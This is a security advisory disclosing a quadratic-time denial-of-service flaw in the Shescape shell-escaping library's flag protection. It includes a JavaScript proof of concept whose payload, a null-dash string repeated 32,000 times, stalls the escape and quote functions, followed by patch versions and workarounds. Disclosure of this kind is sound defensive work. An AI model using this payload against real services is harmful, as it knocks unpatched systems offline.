GHSA-gm3r-q2wp-hw87

Shescape: Quadratic-time denial of service in the flag-protection

Published

2026-07-24

Modified

2026-07-24

Sources

github-advisory

Summary

### Impact This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used. An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs. ```javascript import { Shescape } from "shescape"; // 1. Prerequisites const options = { //flagProtection unspecified // Or flagProtection: true, }; // 2. Payload let payload = "\u0000-".repeat(32000); // 3. Usage const shescape = new Shescape(options); let callback; callback = () => shescape.escape(payload); // Or callback = () => shescape.escapeAll([payload]); // Or callback = () => shescape.quote(payload); // Or callback = () => shescape.quoteAll([payload]); const t0 = process.hrtime.bigint(); callback(); const ms = Number(process.hrtime.bigint() - t0) / 1e6; // 4. Impact console.log("Duration:", ms); // Outputs "Duration:" followed by a number close to 20000 ``` ### Patches This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now. If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3. No patches will be released for version of Shescape lower than v2.0.0. ### Workarounds Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the **last** `-` from untrusted inputs. ### For more information - Comment on Pull Request [#2651] for v2 and [#2649] for v3 - Comment on commit [b4b34c3] for v2 and [43d70b5] for v3 - Open an issue at (New issue > Question)

Affected packages

Remediation: Upgrade to 2.1.14 or later.

References

• https://github.com/advisories/GHSA-gm3r-q2wp-hw87